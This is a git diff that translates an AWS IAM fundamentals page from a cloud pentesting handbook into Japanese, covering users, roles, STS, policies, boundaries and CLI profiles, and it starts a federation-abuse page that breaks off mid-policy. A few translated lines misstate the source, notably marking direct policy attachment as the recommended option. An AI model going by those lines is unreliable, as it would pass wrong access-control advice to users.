+### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報(パスワードと最大2つのアクセスキー)で構成されます。
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーをユーザーに直接添付**することができます(推奨)。
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります(例:[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **アクセスキーID**: 20のランダムな大文字の英数字の文字列(例:AKHDNAPO86BSHKDIRYT)
+- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列(例:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU)(失われたシークレットアクセスキーIDを取得することはできません)。
-Whenever you need to **change the Access Key** this is the process you should follow:\
+アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります:\
NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
-### MFA - Multi Factor Authentication
+### MFA - 多要素認証
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\
+無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
-Policies with MFA conditions can be attached to the following:
+MFA条件を持つポリシーは、以下に添付できます:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- IAMユーザーまたはグループ
+- Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース
+- ユーザーによって引き受けられるIAMロールの信頼ポリシー
+MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
+**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。
```bash
aws sts get-session-token --serial-number --token-code
```
+As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+ユーザーグループのいくつかの重要な特徴は次のとおりです:
-Here are some important characteristics of user groups:
+- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。
+- **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。
+- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
+- AWSアカウント内のIAMリソースの数とサイズ(グループの数や、ユーザーがメンバーになれるグループの数など)は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
+IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人(十分な権限を持つ人)が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+IAMロールは**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### AWSセキュリティトークンサービス(STS)
-#### AWS Security Token Service (STS)
+AWSセキュリティトークンサービス(STS)は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています:
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### ポリシー
-### Policies
+#### ポリシー権限
-#### Policy Permissions
+権限を割り当てるために使用されます。2種類あります:
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- AWS管理ポリシー(AWSによって事前構成されたもの)
+- カスタマー管理ポリシー:あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して独自のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または独自に作成することができます。
+**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\
+**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。
```javascript
{
- "Version": "2012-10-17", //Version of the policy
- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
+The [グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
+[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+#### インラインポリシー
-#### Inline Policies
+この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\
+インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+#### リソースバケットポリシー
-#### Resource Bucket Policies
+これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+### IAMバウンダリー
-### IAM Boundaries
+IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+### セッションポリシー
-### Session Policies
-
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大の権限はロールが持つものです)。
+これは**セキュリティ対策**に役立ちます:管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
+注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト(強化された認証を使用)で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+### アイデンティティフェデレーション
-### Identity Federation
+アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\
+アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**(**SAML**経由)や**OpenID**サービス(**Google**など)があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
-### IAM Identity Center
+### IAMアイデンティティセンター
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAMアイデンティティセンター(AWSシングルサインオンの後継)は、AWSアイデンティティおよびアクセス管理(IAM)の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。
-The login domain is going to be something like `.awsapps.com`.
+ログインドメインは`.awsapps.com`のようになります。
-To login users, there are 3 identity sources that can be used:
+ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- アイデンティティセンターディレクトリ:通常のAWSユーザー
+- アクティブディレクトリ:異なるコネクタをサポート
+- 外部アイデンティティプロバイダー:すべてのユーザーとグループは外部アイデンティティプロバイダー(IdP)から来ます
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
-### Cross Account Trusts and Roles
+### クロスアカウントの信頼とロール
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
+信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
### AWS Simple AD
-Not supported:
+サポートされていない:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- 信頼関係
+- AD管理センター
+- 完全なPS APIサポート
+- ADリサイクルビン
+- グループ管理サービスアカウント
+- スキーマ拡張
+- OSまたはインスタンスへの直接アクセスなし
-#### Web Federation or OpenID Authentication
+#### WebフェデレーションまたはOpenID認証
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+アプリはAssumeRoleWithWebIdentityを使用して一時的な資格情報を作成します。ただし、これによりAWSコンソールへのアクセスは付与されず、AWS内のリソースへのアクセスのみが許可されます。
-### Other IAM options
+### その他のIAMオプション
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。
+- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。
-### IAM ID Prefixes
+### IAM IDプレフィックス
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+[**このページ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)では、キーの性質に応じた**IAM IDプレフィックス**を見つけることができます:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [AWS STSサービスベアラートークン](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | コンテキスト固有の資格情報 |
+| AGPA | ユーザーグループ |
+| AIDA | IAMユーザー |
+| AIPA | Amazon EC2インスタンスプロファイル |
+| AKIA | アクセスキー |
+| ANPA | 管理ポリシー |
+| ANVA | 管理ポリシーのバージョン |
+| APKA | 公開鍵 |
+| AROA | ロール |
+| ASCA | 証明書 |
+| ASIA | [一時的(AWS STS)アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 |
-### Recommended permissions to audit accounts
+### アカウントを監査するための推奨権限
-The following privileges grant various read access of metadata:
+以下の特権は、メタデータのさまざまな読み取りアクセスを付与します:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +322,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## その他
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### CLI認証
+通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\
+そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\
+複数のプロファイルを持つ資格情報ファイルの例:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません(`aws sts assume-role --role-arn --role-session-name sessname`)し、資格情報を設定する必要もありません。
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます(`assume-role`はユーザーにとって透過的に実行されます)。\
+設定ファイルの例:
```
[profile acc2]
region=eu-west-2
@@ -368,23 +351,16 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
+この設定ファイルを使用すると、aws cliを次のように使用できます:
```
aws --profile acc2 ...
```
+もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## 参考文献
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..77bcc5c20 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -4,84 +4,81 @@
## SAML
-For info about SAML please check:
+SAMLに関する情報は以下を確認してください:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成(**エンドポイント**、**公開鍵**を含む**証明書**)を含む**メタデータXML**を提供するだけです。
## OIDC - Github Actions Abuse
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
